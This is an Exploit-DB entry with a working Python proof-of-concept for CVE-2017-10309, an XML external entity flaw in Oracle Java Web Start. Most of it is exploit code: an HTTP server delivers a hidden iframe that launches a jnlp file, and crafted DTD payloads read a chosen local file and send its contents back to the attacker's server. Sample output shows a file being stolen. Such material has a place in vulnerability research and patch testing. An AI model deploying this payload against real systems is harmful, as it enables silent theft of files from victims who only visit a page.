Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure

EDB-ID: 43103
Author: mr_me
Published: 2017-10-30
CVE: CVE-2017-10309
Type: Webapps
Platform: XML
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 """ 
Oracle Java SE Web Start jnlp XML External Entity Processing Information Disclosure Vulnerability
Affected: <= v8u131
File: jre-8u131-windows-i586-iftw.exe
SHA1: 85f0de19845deef89cc5a29edebe5bb33023062d
Download: http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html
References: SRC-2017-0028 / CVE-2017-10309
Advisory: http://srcincite.io/advisories/src-2017-0028/

Vulnerability Details:
======================

Java SE installs a protocol handler in the registry as "HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default" 'C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"'.
This can allow allow an attacker to launch remote jnlp files with little user interaction. A malicious jnlp file containing a crafted XML XXE attack to be leveraged to disclose files, cause a denial of service or trigger SSRF.

Notes:
======

- It will take a few seconds to fire.
- Some browsers will give a small, innocent looking popup (not a security alert), but IE/Edge doesn't at all.

Example:
========

saturn:~ mr_me$ ./poc.py

Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017

(+) usage: ./poc.py <file>
(+) eg: ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'

saturn:~ mr_me$ ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'

Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017

(+) select your interface: lo0, gif0, stf0, en0, en1, en2, bridge0, p2p0, awdl0, vmnet1, vmnet8, tap0: vmnet8
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://172.16.175.1:9090/
(!) firing webstart...
(!) downloading jnlp...
(!) downloading si.xml...
(+) stolen: Please%20refer%20to%20http://java.com/licensereadme
^C(+) shutting down the web server
saturn:~ mr_me$
"""

import sys
import socket
import fcntl
import struct
from random import choice
from string import lowercase
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:
import netifaces as ni
except:
print "(-) try 'pip install netifaces'"
sys.exit(1)

class xxe(BaseHTTPRequestHandler):

# stfu
def log_message(self, format, *args):
return

def do_GET(self):

if "leaked" in self.path:
print "(+) stolen: %s" % self.path.split("?")[1]
self.send_response(200)
self.end_headers()

elif self.path == "/":
print "(!) firing webstart..."
self.send_response(200)
self.end_headers()
message = """
<html>
<body>
<iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
</body>
</html>
""" % (ip, path)
self.wfile.write(message)
self.wfile.write('\n')

elif "si.xml" in self.path:
print "(!) downloading si.xml..."
self.send_response(200)
self.end_headers()
message = """
<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
""" % (file, ip)
self.wfile.write(message)
self.wfile.write('\n')

elif path in self.path:
print "(!) downloading jnlp..."
self.send_response(200)
self.end_headers()
message = """
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
%%sp;
%%param1;
%%exfil;
]>
""" % ip
self.wfile.write(message)
self.wfile.write('\n')
return

def banner():
return """\n\tOracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability\n\tmr_me 2017\n"""

if __name__ == '__main__':

print banner()

if len(sys.argv) != 2:
print "(+) usage: %s <file>" % sys.argv[0]
print "(+) eg: %s 'C:/Program Files/Java/jre1.8.0_131/README.txt'" % sys.argv[0]
sys.exit(1)

file = sys.argv[1]


# randomize incase we change payloads and browser caches
path = "".join(choice(lowercase) for i in range(10))
path += ".jnlp"

# interfaces
ints = ""
for i in ni.interfaces(): ints += "%s, " % i
#interface = raw_input("(+) select your interface: %s: " % ints[:-2])
interface = "vmnet8"

# get the ip from the interface
try:
ip = ni.ifaddresses(interface)[2][0]['addr']
except:
print "(-) no ip address associated with that interface!"
sys.exit(1)
print "jnlp://%s:9090/%s" % (ip, path)
try:
server = HTTPServer(('0.0.0.0', 9090), xxe)
print '(+) starting xxe server...'
print '(+) have someone with Java SE installed visit: http://%s:9090/' % ip
server.serve_forever()

except KeyboardInterrupt:
print '(+) shutting down the web server'
server.socket.close()

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